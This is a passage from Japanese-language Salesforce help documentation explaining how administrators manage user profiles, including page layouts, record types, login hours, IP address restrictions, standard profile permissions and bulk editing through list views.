す。デフォルトのレコードタイプをプロファイルに割り当てると、そのプロファイルを持つユーザ自身が
作成または編集したレコードにそのレコードタイプを割り当てられるようになります。
元のプロファイルユーザインターフェースでのログイン時間帯の表示と編集
ユーザプロファイルに基づいてユーザがログインできる時間帯を指定します。
元のプロファイルユーザインターフェースでのログイン IP アドレスの制限
ユーザのプロファイルで許可される IP アドレス範囲を指定することによって、ユーザレベルでログインア
クセスを制御します。プロファイルに IP アドレス制限を定義すると、その他のすべての IP アドレスからの
ログインは拒否されます。
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元のプロファイルインターフェースでのプロファイルの編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

カスタムプロファイルを
使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロファイルを編集する
• 「プロファイルと権限

セットの管理」

および

「アプリケーションの
カスタマイズ」

プロファイルは、オブジェクトおよびデータへのユーザによるアクセスや、ア
プリケーション内で実行可能な操作を定義します。標準プロファイルでは、制
限された数の設定を編集できます。カスタムプロファイルでは、ユーザライセ
ンス以外の、使用可能なすべての権限と設定を編集できます。

メモ: 一部の権限を編集すると、他の権限が有効または無効になることが
あります。たとえば、「すべてのデータの参照」を有効にすると、すべて
のオブジェクトの「参照」が有効になります。同様に、「リード所有権の
移行」を有効にすると、リードの「参照」および「作成」が有効になりま
す。

ヒント: 組織で拡張プロファイルリストビューが有効になっている場合、
リストビューから複数のプロファイルの権限を変更できます。

1. [設定] から、[クイック検索]ボックスに「プロファイル」と入力し、[プロファ
イル] を選択します。

2. 変更するプロファイルを選択します。
3. プロファイルの詳細ページで、[編集] をクリックします。

関連トピック:

元のプロファイルユーザインターフェースでのページレイアウトの割り当て
元のプロファイルインターフェースのプロファイル設定
元のプロファイルユーザインターフェースのデスクトップクライアントアク
セスの表示と編集
元のプロファイルユーザインターフェースでのプロファイルへのレコードタ
イプの割り当て
元のプロファイルユーザインターフェースでのログイン時間帯の表示と編集
元のプロファイルユーザインターフェースでのログイン IP アドレスの制限
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元のプロファイルインターフェースのプロファイル設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

カスタムプロファイルを
使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロファイルを編集する
• 「プロファイルと権限

セットの管理」

および

「アプリケーションの
カスタマイズ」

プロファイルは、オブジェクトおよびデータへのユーザによるアクセスや、ア
プリケーション内で実行可能な操作を定義します。元のプロファイルの詳細ペー
ジから、次の設定を表示または編集します。

表示または編集する場合の移動先設定

プロファイルの詳細プロファイルの名前と説明 (カスタム
プロファイルのみ)

システム管理者権限管理者権限および一般の権限 (カスタ
ムプロファイルのみ)

カスタムアプリケーション設定アプリケーションの表示設定

コンソール設定すべてのプロファイルのコンソールレ
イアウト

有効化されたカスタム権限カスタム権限

デスクトップインテグレーションクラ
イアント

デスクトップクライアントアクセス設
定

有効な外部データソースアクセス外部データソース

項目レベルセキュリティオブジェクトの項目アクセス

ログイン時間帯の制限ログイン時間帯

[ログイン IP アドレスの制限] セクショ
ンで、[新規] をクリックするか、既存
の IP 範囲の横にある [編集]をクリック
します。

ログイン IP アドレスの制限

メモ: さらに、Salesforceへのアク
セスを [ログイン IP アドレスの制
限] の IP にのみ制限することがで
きます。このオプションを有効
にするには、[設定] から [クイッ
ク検索]ボックスに「セッション
の設定」と入力し、[セッション
の設定]を選択し、[すべての要求
でログイン IP アドレスの制限を
適用] を選択します。このオプ
ションは、ログイン IP アドレス
が制限されたすべてのユーザプ
ロファイルに影響します。

標準オブジェクト権限オブジェクト権限
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表示または編集する場合の移動先設定

ページレイアウトページレイアウト

[レコードタイプの設定] セクション。オブジェクトに
レコードタイプが存在する場合にのみ、[編集]リンク
が表示されます。

レコードタイプ

タブ設定タブ表示設定

有効な Apex クラスのアクセス実行可能な Apex クラス

有効な Visualforce ページのアクセス実行可能な Visualforce ページ

有効なサービスプレゼンス状況のアクセスサービスプレゼンス状況

関連トピック:

元のプロファイルインターフェースでのプロファイルの編集

元のプロファイルユーザインターフェースでのページレイアウトの割り当て

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

レコードタイプを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロファイルでページレ
イアウトを割り当てる
• 「プロファイルと権限

セットの管理」

すでに元のプロファイルユーザインターフェースを使用している場合は、すべ
てのページレイアウトの割り当てを 1 か所で簡単にアクセス、表示、および編
集できます。
1. [設定] から、[クイック検索]ボックスに「プロファイル」と入力し、[プロファ

イル] を選択します。
2. プロファイルを選択します。
3. [ページレイアウト] セクション内のタブ名の横にある [割り当ての参照] をク

リックします。
4. [割り当ての編集] をクリックします。
5. テーブルを使用して、各プロファイルのページレイアウトを指定します。組

織でレコードタイプを使用している場合、マトリックスには、各プロファイ
ルとレコードタイプのページレイアウトセレクタが表示されます。
• 選択されているページレイアウトが強調表示されます。
• 変更するページレイアウトの割り当ては、変更を保存するまで斜体で表

示されます。

6. 必要に応じて、別のページレイアウトを [使用するページレイアウト]ドロッ
プダウンリストから選択し、新しいページレイアウトに対して前の手順を繰
り返します。

7. [保存] をクリックします。

関連トピック:

元のプロファイルインターフェースの使用
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元のプロファイルユーザインターフェースのデスクトップクライアントアクセスの表示と
編集

エディション

Connect Offline を使用可能
なエディション: Salesforce
Classic

Connect Offline を使用可能
なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Connect for Office を使用可
能なエディション:
Salesforce Classic と
Lightning Experience の両方

Connect for Office を使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

デスクトップクライアン
トアクセス設定を参照す
る
• 「設定・定義を参照す

る」

デスクトップクライアン
トアクセス設定を編集す
る
• 「プロファイルと権限

セットの管理」

Connect Offline および Connect for Office は、Salesforce とご使用の PC を統合するデス
クトップクライアントです。管理者として、更新が可能な場合に自動的にユー
ザに通知されるかどうか、ユーザがどのデスクトップクライアントにアクセス
できるかを制御できます。

メモ: デスクトップクライアントにアクセスするには、「API の有効化」権
限も必要です。

1. [設定] から、[クイック検索]ボックスに「プロファイル」と入力し、[プロファ
イル] を選択します。

2. プロファイル名の横にある [編集] をクリックし、ページ下部の [デスクトッ
プインテグレーションクライアント] セクションにスクロールします。

関連トピック:

元のプロファイルインターフェースの使用
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元のプロファイルユーザインターフェースでのプロファイルへのレコードタイプの割り当
て

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロファイルにレコード
タイプを割り当てる
• 「アプリケーションの

カスタマイズ」

レコードタイプを作成して選択リスト値を指定したら、レコードタイプをユー
ザプロファイルに追加します。デフォルトのレコードタイプをプロファイルに
割り当てると、そのプロファイルを持つユーザ自身が作成または編集したレコー
ドにそのレコードタイプを割り当てられるようになります。

メモ: ユーザは、レコードタイプがそのユーザのプロファイルに関連付け
られていない場合でも、レコードタイプに関係なくレコードを参照できま
す。

複数のレコードタイプを 1 つのプロファイルに関連付けることができます。た
とえば、ユーザがハードウェアとソフトウェアの商談を作成する必要があると
します。この場合、「ハードウェア」と「ソフトウェア」の両方のレコードタ
イプを作成してユーザのプロファイルに追加できます。
1. [設定] から、[クイック検索]ボックスに「プロファイル」と入力し、[プロファ

イル] を選択します。
2. プロファイルを選択します。そのプロファイルで使用できるレコードタイプ

が、[レコードタイプの設定] セクションに一覧表示されます。
3. 適切なレコードタイプの横にある [編集] をクリックします。
4. [使用可能なレコードタイプ] リストから値を選択し、[選択済みのレコードタ

イプ] リストに追加します。
[主] は、レコードに関連付けられているカスタムレコードタイプがない場合に使用される、システムで生
成されるレコードタイプです。[主]が割り当てられている場合、レコード作成時などにユーザがレコード
にレコードタイプを設定することはできません。その他のレコードタイプはすべてカスタムレコードタイ
プです。

5. [デフォルト] から、デフォルトのレコードタイプを選択します。
組織で個人取引先を使用している場合は、この設定によって取引先のホームページの [簡易作成]領域に表
示される取引先項目が決まります。

6. 組織で個人取引先を使用している場合は、個人取引先と法人取引先の両方にデフォルトのレコードタイプ
オプションを設定します。[法人取引先デフォルトレコードタイプ]で、[個人取引先デフォルトレコードタイ
プ] ドロップダウンリストからデフォルトのレコードタイプを選択します。
これらの設定は、リードの取引開始時など、両方の種類の取引先にデフォルトが必要な場合に使用されま
す。

7. [保存] をクリックします。

メモ: 組織で個人取引先を使用している場合は、個人取引先と法人取引先の両方についてレコードタイプ
のデフォルトを表示できます。プロファイル詳細ページの [取引先レコードタイプの設定] に移動します。
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[取引先レコードタイプの設定] で [編集]をクリックしても、取引先のレコードタイプのデフォルト設定を
開始できます。

関連トピック:

レコードタイプへのアクセスの指定方法
元のプロファイルインターフェースの使用
権限セットでのカスタムレコードタイプの割り当て

元のプロファイルユーザインターフェースでのログイン時間帯の表示と編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

ログイン時間帯の制限を
設定する
• 「プロファイルと権限

セットの管理」

ユーザプロファイルに基づいてユーザがログインできる時間帯を指定します。
1. [設定] から、[クイック検索]ボックスに「プロファイル」と入力し、[プロファ

イル] を選択して、プロファイルを選択します。
2. [ログイン時間帯の制限] 関連リストの [編集] をクリックします。
3. このプロファイルを持つユーザがシステムを使用できる曜日と時間帯を設定

します。
ユーザがいつでもログインできるようにするには、[すべての時刻を解除] を
クリックします。特定の曜日にユーザがシステムを使用できないようにする
には、開始時刻と終了時刻に同じ値を設定します。
ユーザがログインしている間にログイン時間帯が終了した場合、現在のペー
ジは引き続き表示できますが、他のアクションを実行することはできなくな
ります。

4. [保存] をクリックします。

メモ: 初めてプロファイルにログイン時間を設定したときは、[設定] の [組
織情報] ページで指定されている組織の [タイムゾーンのデフォルト値]に基
づいて時間が表示されます。その後、組織の[タイムゾーンのデフォルト値]

が変更されても、プロファイルのログイン時間のタイムゾーンは変更され
ません。そのため、ユーザが別のタイムゾーンにいる場合、または組織の
デフォルトのタイムゾーンが変更された場合でも、常にここで指定した時
間帯がログイン時間に適用されます。
ログイン時間を参照しているか編集しているかによって、異なった時間が
表示されます。プロファイルの詳細ページでは、指定したタイムゾーンで
時間が表示されます。[ログイン時間帯の制限] 編集ページでは、組織のデ
フォルトのタイムゾーンで時間が表示されます。

関連トピック:

元のプロファイルインターフェースの使用
元のプロファイルユーザインターフェースでのログイン IP アドレスの制限
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元のプロファイルユーザインターフェースでのログイン IP アドレスの制限

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
すべてのエディション

ユーザ権限

ログイン IP アドレス範囲
の制限を参照する
• 「設定・定義を参照す

る」

ログイン IP アドレス範囲
の制限を編集および削除
する
• 「プロファイルと権限

セットの管理」

ユーザのプロファイルで許可される IP アドレス範囲を指定することによって、
ユーザレベルでログインアクセスを制御します。プロファイルに IP アドレス制
限を定義すると、その他のすべての IP アドレスからのログインは拒否されます。
1. Salesforce エディションによって、プロファイルに有効な IP アドレス範囲を制

限する方法が異なります。
• Enterprise Edition、Unlimited Edition、Performance Edition、または Developer Edition

を使用している場合は、[設定] から [クイック検索]ボックスに「プロファ
イル」と入力し、[プロファイル] を選択して、プロファイルを選択しま
す。

• Professional Edition、Group Edition、または Personal Edition を使用している場合
は、[設定] から [クイック検索] ボックスに「セッションの設定」と入力
し、[セッションの設定] を選択します。

2. [ログイン IP アドレスの制限] 関連リストの [新規] をクリックします。
3. 有効な IP アドレスを [開始 IP アドレス] 項目に入力し、開始 IP アドレスよ

り大きな数値のアドレスを [終了 IP アドレス] 項目に入力します。
開始アドレスと終了アドレスは、ユーザのログインを許可する IP アドレスの
範囲を定義します。1 つの IP アドレスからのログインのみを許可するには、
両方の項目に同じアドレスを入力します。
• 範囲を指定する IP アドレスは、IPv4 であるか、または IPv6 である必要があります。範囲では、IPv4 アド

レスは、IPv4 射影 IPv6 アドレス空間である ::ffff:0:0 から ::ffff:ffff:ffff に存在しま
す。::ffff:0:0は 0.0.0.0、::ffff:ffff:ffffは 255.255.255.255.に対応します。範囲には、
IPv4 射影 IPv6 アドレス空間内外の両方の IP アドレスを含めることはできません。たとえば、
255.255.255.255 から ::1:0:0:0 または :: から ::1:0:0:0 の範囲は許可されません。

• パートナーユーザプロファイルの IP アドレスは 5 個に制限されています。この制限を緩和するには、
Salesforce にお問い合わせください。

• Salesforce Classic Mobile アプリケーションは、プロファイルに対して定義された IP 範囲をスキップできま
す。Salesforce Classic Mobileは、モバイル通信業者のネットワーク上で、Salesforceへのセキュアな接続を開
始します。ただし、モバイル事業者の IP アドレスが、ユーザのプロファイルで許可される IP 範囲に含ま
れていない場合があります。プロファイルの IP 定義がスキップされることを防ぐには、そのユーザの
Salesforce Classic Mobile を無効にする (ページ 1298)必要があります。

4. 必要に応じて、範囲の説明を入力します。複数の範囲を管理する場合、説明項目を使用して、ネットワー
クのどの部分がこの範囲に対応するかなど、詳細を入力します。

5. [保存] をクリックします

メモ: 静的リソースのキャッシュ設定は、ゲストユーザのプロファイルが IP 範囲またはログイン時間に基
づいて制限されているForce.comサイトを介してアクセスする場合は、非公開に設定されます。ゲストユー
ザプロファイル制限のあるサイトでは、ブラウザ内でのみ静的リソースをキャッシュします。また、以
前は無制限であったサイトに制限が設定されると、Salesforceキャッシュおよび中間キャッシュから静的リ
ソースが解放されるまでに最大 45 日かかる場合があります。
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メモ: さらに、Salesforce へのアクセスを [ログイン IP アドレスの制限] の IP にのみ制限することができま
す。このオプションを有効にするには、[設定] から [クイック検索]ボックスに「セッションの設定」と入
力し、[セッションの設定]を選択し、[すべての要求でログイン IP アドレスの制限を適用]を選択します。
このオプションは、ログイン IP アドレスが制限されたすべてのユーザプロファイルに影響します。

関連トピック:

組織の信頼済み IP 範囲の設定
元のプロファイルユーザインターフェースでのログイン時間帯の表示と編集
元のプロファイルインターフェースの使用

標準プロファイル

エディション

使用可能なエディション:
Salesforce Classic

使用しているエディショ
ンによって、使用可能な
標準プロファイルが決ま
ります。

すべての組織には、ユーザに割り当てることができる標準プロファイルが含ま
れています。標準プロファイルでは、一部の設定を編集できます。
すべての組織には、標準プロファイルが含まれています。Professional Edition、
Enterprise Edition、Unlimited Edition、Performance Edition、および Developer Edition では、
標準プロファイルの使用とカスタムプロファイルの作成、編集、削除が可能で
す。Contact Manager Edition やGroup Edition など、カスタムプロファイルを作成でき
ない組織では、標準プロファイルをユーザに割り当てることができますが、参
照したり編集することはできません。
次の表に、標準プロファイルで使用頻度の高い権限を示します。

利用可能な権限プロファイル名

アプリケーションを設定およびカスタマイズできま
す。ライセンスの追加を必要としないすべての機能に

システム管理者

アクセスできます。たとえば、管理者は「マーケティ
ングユーザ」ライセンスも持っていないとキャンペー
ンを管理することはできません。価格表と商品を管理
できます。目標の編集、売上予測の上書き、売上予測
をの参照が可能です。

組織で開発したか AppExchange からインストールした
カスタム Force.com AppExchange アプリケーションを使

標準 Platform ユーザ

用できます。また、取引先、取引先責任者、レポー
ト、ダッシュボード、カスタムタブなど、中核的なプ
ラットフォーム機能も使用できます。

組織で開発したか AppExchange からインストールした
カスタム AppExchange アプリケーションを 1 つ使用で

標準 Platform One アプリケーションユーザ

きます。カスタムアプリケーションのタブは、5 つに
制限されます。また、取引先、取引先責任者、レポー
ト、ダッシュボード、カスタムタブなど、中核的なプ
ラットフォーム機能も使用できます。
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利用可能な権限プロファイル名

主要レコードタイプの作成と編集、レポートの実行、
組織の設定の参照が可能です。キャンペーンは参照で

標準ユーザ

きますが、管理はできません。ソリューションは作成
できますが、レビューはできません。自分の目標の編
集と売上予測の上書きが可能です。

コミュニティからログインできます。コミュニティ設
定および共有モデルにより、タブやオブジェクト、そ

カスタマーコミュニティユーザ

カスタマーコミュニティプラスユーザ の他の機能へのユーザのアクセスが決まります。詳細
パートナーコミュニティユーザ は、「コミュニティユーザライセンス」を参照してく

ださい。

カスタマーポータルまたはコミュニティからログイン
できます。直接所有するデータ、またはカスタマー

カスタマーポータルユーザ

ポータルのロール階層で自分より下位のユーザが所有
するデータあるいは下位のユーザと共有するデータの
参照および編集、さらに、[取引先責任者名] 項目に
ユーザがリストされているケースの参照および編集が
可能です。

カスタマーポータルまたはコミュニティからログイン
できます。
大規模カスタマーポータルおよび認証 Web サイトプ
ロファイルは、大規模ポータルユーザです。

大規模カスタマーポータル

認証 Web サイト

カスタマーポータルまたはコミュニティからログイン
できます。直接所有するデータ、またはカスタマー

カスタマーポータルマネージャ

ポータルのロール階層で自分より下位のユーザが所有
するデータあるいは下位のユーザと共有するデータの
参照および編集、さらに、[取引先責任者名] 項目に
ユーザがリストされているケースの参照および編集が
可能です。

パートナーポータルまたはコミュニティからログイン
できます。

パートナーユーザ

ソリューションをレビューおよび公開できます。ま
た、標準ユーザとおなじ機能にアクセスできます。

ソリューション管理者

キャンペーンの管理、レターヘッドの作成、HTML メー
ルテンプレートの作成、公開ドキュメントの管理、お

マーケティングユーザ

よびデータインポートウィザードによるキャンペーン
メンバーの追加とキャンペーンメンバーの状況の更新
が可能です。また、標準ユーザとおなじ機能にアクセ
スできます。
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利用可能な権限プロファイル名

契約を作成、編集、有効化、および承認できます。こ
のプロファイルでは、契約が有効化されていない限

契約管理者

り、契約を削除することもできます。自分の目標の編
集と売上予測の上書きが可能です。

組織の設定の参照、レポートの実行とエクスポート、
および他のレコードの参照 (編集は不可) が可能です。

参照のみ

Chatterにのみログインできます。Chatterの標準のユー
ザ、プロファイル、グループ、ファイルのすべてにア
クセスできます。また、次の操作を実行できます。

Chatter 限定ユーザ

• Salesforce の取引先と取引先責任者を参照する
• Salesforce CRM Content、アイデア、およびアンサー

を使用する
• ダッシュボードとレポートにアクセスする
• ワークフローを使用し、承認する
• カレンダーを使用して活動を作成および追跡する
• 最大 10 個のカスタムオブジェクトを表示および変

更する
• レコードをグループに追加する

メモ: Chatter 限定ユーザプロファイルでアクセ
ス可能な標準 Salesforce オブジェクトのタブは、
これらのユーザに対してデフォルトで非表示に
なっているため、タブを表示する必要がありま
す。
Professional Edition の組織は、これらを実行するた
めに [プロファイル] を有効にしておく必要があ
ります。詳細は、Salesforce の担当者にお問い合
わせください。

Chatter 限定ユーザライセンスでのみ利用可能です。
Chatter Plus ユーザの詳細は、「Chatter およびよくある
質問 (FAQ)」を参照してください。

Chatterにのみログインできます。Chatterの標準のユー
ザ、プロファイル、グループ、ファイルのすべてにア
クセスできます。
Chatter Free ユーザライセンスでのみ利用可能です。

Chatter Free ユーザ
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利用可能な権限プロファイル名

Chatterにログインして、招待されたグループにのみア
クセスし、グループのメンバーのみと会話できます。
Chatter Externalユーザライセンスでのみ利用可能です。

Chatter 外部ユーザ

Chatterにのみログインできます。Chatterの標準のユー
ザ、プロファイル、グループ、ファイルのすべてにア

Chatter モデレータユーザ

クセスできます。また、このユーザは次の操作を実行
できます。
• 他の Chatter Free ユーザとモデレータの有効化およ

び無効化
• モデレータ権限の付与と取り消し
• 表示されている投稿やコメントの削除

メモ: ユーザのプロファイルを「Chatterモデレー
タユーザ」から「Chatter Free ユーザ」に変更す
ると、Chatterでのモデレータ権限は失われます。

Chatter Free ユーザライセンスでのみ利用可能です。

Site.com アプリケーションにのみログインできます。
各 Site.com 限定ユーザがサイトを作成および公開する

Site.com 限定ユーザ

には、Site.com Publisher 機能ライセンスが必要です。ま
た、サイトのコンテンツを編集するには、Site.com

Contributor ライセンスが必要です。
また、このユーザは次の操作を実行できます。
• 最大 20 個のカスタムオブジェクトを持つカスタム

アプリケーションを 1 つ使用する
• コンテンツアプリケーションにアクセスできるが、

取引先と取引先責任者オブジェクトにはアクセス
できない

• カスタムタブを無限に作成する
Site.com 限定ユーザライセンスでのみ利用可能です。

関連トピック:

プロファイル
ユーザ権限
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プロファイルリストの管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

カスタムプロファイルを
使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロファイルを表示し、
プロファイルリストを印
刷する
• 「設定・定義を参照す

る」

プロファイルリスト
ビューを削除する
• 「プロファイルと権限

セットの管理」

カスタムプロファイルを
削除する
• 「プロファイルと権限

セットの管理」

プロファイルは、オブジェクトおよびデータへのユーザによるアクセス方法や、
アプリケーション内で実行可能な操作を定義します。ユーザの作成時に、各ユー
ザにプロファイルを割り当てます。組織でプロファイルを表示するには、[設定]

から、[クイック検索]ボックスに「プロファイル」と入力し、[プロファイル]を
選択します。

拡張プロファイルの一覧表示
組織で拡張プロファイルリストビューが有効になっている場合は、追加のツー
ルを使用して、プロファイルリストのカスタマイズ、移動、管理、および印刷
を行うことができます。
• ドロップダウンリストからビューを選択することにより、プロファイルの条

件設定済みリストを表示する
• ドロップダウンリストからビューを選択し、[削除] をクリックして、ビュー

を削除する
• リストビューを作成するか既存のビューを編集する
• プロファイルを作成する
• をクリックして、リストビューを印刷する
• をクリックして、ビューを作成または編集した後にリストビューを更新

する
• リストビューで権限を直接編集する
• プロファイル名をクリックしてプロファイルを参照または編集する
• プロファイル名の横にある [削除]をクリックするか、カスタムプロファイル

を削除する

メモ: ユーザが無効な場合も含め、ユーザに割り当てられているプロ
ファイルは削除できません。

基本プロファイルの一覧表示
• プロファイルを作成する
• プロファイル名をクリックしてプロファイルを参照または編集する
• プロファイル名の横にある [削除]をクリックするか、カスタムプロファイル

を削除する

プロファイルリストビューの作成と編集
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プロファイルリストビューを使用した複数のプロファイルの編集
組織で拡張プロファイルリストビューが有効になっている場合は、個々のプロファイルページにアクセス
しなくても、直接リストビューから最大 200 件のプロファイルの権限を変更できます。

関連トピック:

プロファイルリストビューを使用した複数のプロファイルの編集
プロファイル

プロファイルリストビューの作成と編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

カスタムプロファイルを
使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロファイルリスト
ビューを作成、編集、お
よび削除する
• 「プロファイルと権限

セットの管理」

組織で拡張プロファイルリストビューが有効になっている場合、選択した項目
でプロファイルのセットを表示するために、プロファイルリストビューを作成
できます。たとえば、「すべてのデータの編集」が有効になっているすべてプ
ロファイルのリストビューを作成できます。
1. [プロファイル] ページで [新規ビューの作成] をクリックするか、ビューを選

択して [編集] をクリックします。
2. ビュー名を入力します。
3. [検索条件の指定] で、「すべてのデータの編集 次の文字列と一致する True」

など、リスト項目が一致する必要がある条件を指定します。
a. 設定名を入力するか、ルックアップアイコン をクリックして検索し、

必要な設定を選択します。
b. 検索条件の演算子を選択します。
c. 一致する必要がある値を入力します。
d. 別の検索条件を指定するには、[新規アクションの追加] をクリックしま

す。検索条件行は、25 行まで指定できます。
検索条件行を削除し、値をクリアするには、行を削除アイコン をクリッ
クします。

4. [表示する項目の選択] で、リストビューの列として表示するプロファイル設
定を指定します。
a. [検索] ドロップダウンリストから、検索する設定の種別を選択します。
b. 追加する設定に一部またはすべての語を入力し、[検索] をクリックしま

す。

メモ: 検索で 500 個を超える値が検出されると、結果は表示されませ
ん。次の手順に従って、検索条件を絞り込み、表示される検索結果
の数を減らしてください。

c. 列を追加または削除するには、1 つ以上の列の名前を選択してから [追加] または [削除] をクリックしま
す。

d. [最上位へ]、[上へ]、[下へ]、および [最下位へ] 矢印を使用して、任意の順に列を並び替えます。
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1 つのリストビューには最大 15 列まで追加できます。

5. [保存] をクリックするか、既存のビューをコピーする場合は、名前を変更して [別名で保存] をクリックし
ます。

関連トピック:

プロファイルリストビューを使用した複数のプロファイルの編集

プロファイルリストビューを使用した複数のプロファイルの編集

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

リストビューから複数の
プロファイルを編集する
• 「プロファイルと権限

セットの管理」

および

「アプリケーションの
カスタマイズ」

組織で拡張プロファイルリストビューが有効になっている場合は、個々のプロ
ファイルページにアクセスしなくても、直接リストビューから最大 200 件のプロ
ファイルの権限を変更できます。
編集可能なセルには、その上にマウスを置くと鉛筆アイコン ( ) が表示され、
編集できないセルの場合は、錠アイコン ( ) が表示されます。標準プロファイ
ルでは、鉛筆アイコンが表示されても実際には設定が編集できない場合があり
ます。

警告: この方法でプロファイルを編集するときには注意してください。プ
ロファイルはユーザの基本的なアクセスに影響するため、一括変更を行う
と、組織内のユーザに対し広範囲の影響を及ぼす可能性があります。

1. 編集するプロファイルまたは権限を含むリストビューを選択または作成しま
す。

2. 複数のプロファイルを編集するには、編集する各ユーザの横にあるチェック
ボックスをオンにします。
複数のページでプロファイルを選択すると、選択したプロファイルはSalesforce

に記憶されます。
3. 編集する権限をダブルクリックします。

複数のプロファイルの場合は、選択したプロファイルのいずれかにある権限
をダブルクリックします。

4. 表示されるダイアログボックスで、その権限を有効または無効にします。
ある権限を変更すると、その他の権限も変更される場合があります。たとえば、「アプリケーションのカ
スタマイズ」および「設定・定義を参照する」が無効な場合、「アプリケーションのカスタマイズ」を有
効にすると、「設定・定義を参照する」も有効になります。この場合は、ダイアログボックスに影響を受
ける権限が一覧表示されます。

5. 複数のプロファイルを変更するには、[[選択した n 件のすべてのレコード]] (n は選択したプロファイル数)

を選択します。
6. [保存] をクリックします。

メモ:

• 標準プロファイルの場合は、「シングルサインオン」および「ディビジョンの使用」権限でのみイン
ライン編集が使用できます。
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• 複数のプロファイルを編集する場合は、変更権限のあるプロファイルのみが変更されます。たとえ
ば、インライン編集を使用して複数のプロファイルに「すべてのデータの編集」を追加する場合、そ
のプロファイルに「すべてのデータの編集」が設定されていないユーザライセンスでは、プロファイ
ルは変更されません。

エラーが発生した場合は、エラーメッセージにエラーがあった各プロファイルとエラーの説明が表示されま
す。プロファイル名をクリックすると、プロファイルの詳細ページが表示されます。クリックしたプロファイ
ルは、エラーウィンドウにグレーの取消線の付いたテキストで表示されます。エラーコンソールを表示するに
は、Salesforce ドメインに対するポップアップブロッカーを無効にする必要があります。
すべての変更が、設定変更履歴に記録されます。

関連トピック:

プロファイル

プロファイルのコピー

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

カスタムプロファイルを
使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロファイルを作成する
• 「プロファイルと権限

セットの管理」

プロファイルを作成する代わりに、既存のプロファイルをコピーしてカスタマ
イズすることで時間を節約します。

ヒント: プロファイルをコピーして特定の権限またはアクセス設定を有効
にする場合は、権限セットの使用を検討します。詳細は、「権限セット」
を参照してください。また、プロファイル名に複数の単語が含まれる場合
は、余分なスペースを挿入しないようにします。たとえば、「Acme User」
と「Acme   User」は、「Acme」と「User」間のスペース数のみが異なります。
この 2 つのプロファイルを両方使用すると、システム管理者とユーザが混
乱する可能性があります。

1. [設定] から、[クイック検索]ボックスに「プロファイル」と入力し、[プロファ
イル] を選択します。

2. [プロファイル] リストペインで、次のいずれかを実行します。
• [新規プロファイル]をクリックし、作成するプロファイルと似た既存のプ

ロファイルを選択します。
• 拡張プロファイルリストビューが有効な場合、作成するプロファイルに

似たプロファイルの横にある [コピー] をクリックします。
• 作成するプロファイルと似たプロファイルの名前をクリックし、プロファ

イルページで [コピー] をクリックします。
新しいプロファイルでは、コピー元のプロファイルと同じユーザライセンス
が使用されます。

3. プロファイル名を入力します。
4. [保存] をクリックします。

関連トピック:

プロファイル
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プロファイルの割り当てられたユーザの表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

カスタムプロファイルを
使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

プロファイルの概要ページからプロファイルに割り当てられたすべてのユーザ
を表示するには、[割り当て済みユーザ] (拡張プロファイルユーザインターフェー
ス) または[このプロファイルに属するユーザの参照] (元のプロファイルユーザイ
ンターフェース) をクリックします。割り当てられたユーザのページから、次の
操作が可能です。
• 1 人以上のユーザを作成する
• 選択したユーザのパスワードをリセットする
• ユーザを編集する
• 名前、別名、またはユーザ名をクリックしてユーザの詳細ページを参照する
• プロファイル名をクリックしてプロファイルを表示または編集する
• Google Apps™ が組織で有効な場合、[Google Apps にエクスポート] をクリック

し、ユーザを Google にエクスポートして Google Apps アカウントを作成する

関連トピック:

プロファイル
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プロファイルでのオブジェクト権限の編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Professional Edition、
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

オブジェクト権限を参照
する
• 「設定・定義を参照す

る」

オブジェクト権限を編集
する
• 「プロファイルと権限

セットの管理」

および

「アプリケーションの
カスタマイズ」

